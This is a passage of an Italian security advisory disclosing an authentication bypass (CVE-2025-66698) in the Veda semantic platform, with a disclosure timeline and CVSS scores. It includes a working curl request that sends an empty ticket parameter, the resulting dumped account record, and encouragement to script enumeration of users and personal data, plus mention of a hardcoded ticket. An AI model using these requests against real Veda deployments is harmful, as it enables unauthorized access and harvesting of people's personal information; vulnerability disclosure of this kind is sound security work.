
Software interessato: Veda (Semantic Machines) v5.4.8 (probabilmente tutte le versioni precedenti). Tipo di vulnerabilità: Bypass dell'autenticazione. ID CVE: CVE-2025-66698. Sommario: Il sistema valida in modo improprio il parametro ticket, trattando una stringa vuota come una sessione valida. Link al progetto: Veda (Semantic Machines)
18 nov 2025: Scoperta e richiesta iniziale del CVE. 9 gen 2026: Assegnato l'ID CVE. Tentativo di contattare il vendor (ignorato e cancellato). 13 gen 2026: Divulgazione pubblica per mancata risposta del vendor.
Questa vulnerabilità è stata trovata durante la mia ricerca sulla sicurezza mentre esaminavo il codice. Il parametro ticket nel codice non controlla il valore vuoto.
Alcuni endpoint API interessati:
Ci sono molti utenti predefiniti che puoi enumerare; puoi anche cambiare schema: da cfg a v-s, ecc. per enumerare utenti, policy, PII (nomi completi, fotografie, titoli professionali, date di nascita e informazioni di contatto) e altro.
curl "https://localhost/get_individual?ticket=&uri=cfg:VedaSystem" -k
{"@":"cfg:VedaSystem","rdf:type":[{"data":"v-s:Person","type":"Uri"}],"rdfs:isDefinedBy":[{"data":"http://semantic-machines.com/veda/system-account","type":"Uri"}],"rdfs:label":[{"data":"Система .","lang":"RU","type":"String"},{"data":"System .","lang":"EN","type":"String"}],"v-s:actualVersion":[{"data":"cfg:VedaSystem","type":"Uri"}],"v-s:author":[{"data":"cfg:VedaSystem","type":"Uri"}],"v-s:birthday":[{"data":"2014-03-04T20:00:00Z","type":"Datetime"}],"v-s:created":[{"data":"2025-11-18T14:49:45Z","type":"Datetime"}],"v-s:creator":[{"data":"cfg:VedaSystemAppointment","type":"Uri"}],"v-s:defaultAppointment":[{"data":"cfg:VedaSystemAppointment","type":"Uri"}],"v-s:edited":[{"data":"2025-11-18T17:08:59Z","type":"Datetime"}],"v-s:hasAccount":[{"data":"cfg:VedaSystemAccount","type":"Uri"}],"v-s:hasAppointment":[{"data":"cfg:VedaSystemAppointment","type":"Uri"}],"v-s:hasAspect":[{"data":"cfg:VedaSystem_aspect","type":"Uri"}],"v-s:hasImage":[{"data":"v-s:DefaultPhoto","type":"Uri"}],"v-s:lastEditor":[{"data":"cfg:VedaSystemAppointment","type":"Uri"}],"v-s:lastName":[{"data":"Система","lang":"RU","type":"String"},{"data":"System","lang":"EN","type":"String"}],"v-s:parentOrganization":[{"data":"cfg:org_Veda","type":"Uri"}],"v-s:updateCounter":[{"data":93,"type":"Integer"}],"v-ui:hasPreferences":[{"data":"cfg:VedaSystem_pref","type":"Uri"}]}
Quello che devi fare è trovare sempre più queste entità "xxx:xxx" (cfg:xxx, v-s:xxx, ecc.). Puoi scrivere un semplice script bash per questo. C'è anche un systicket hardcoded per ottenere lo stesso risultato.
Valutazione CVSS:
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N Punteggio: 8.6 (Alto)AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N Punteggio: 9.3 (Critico)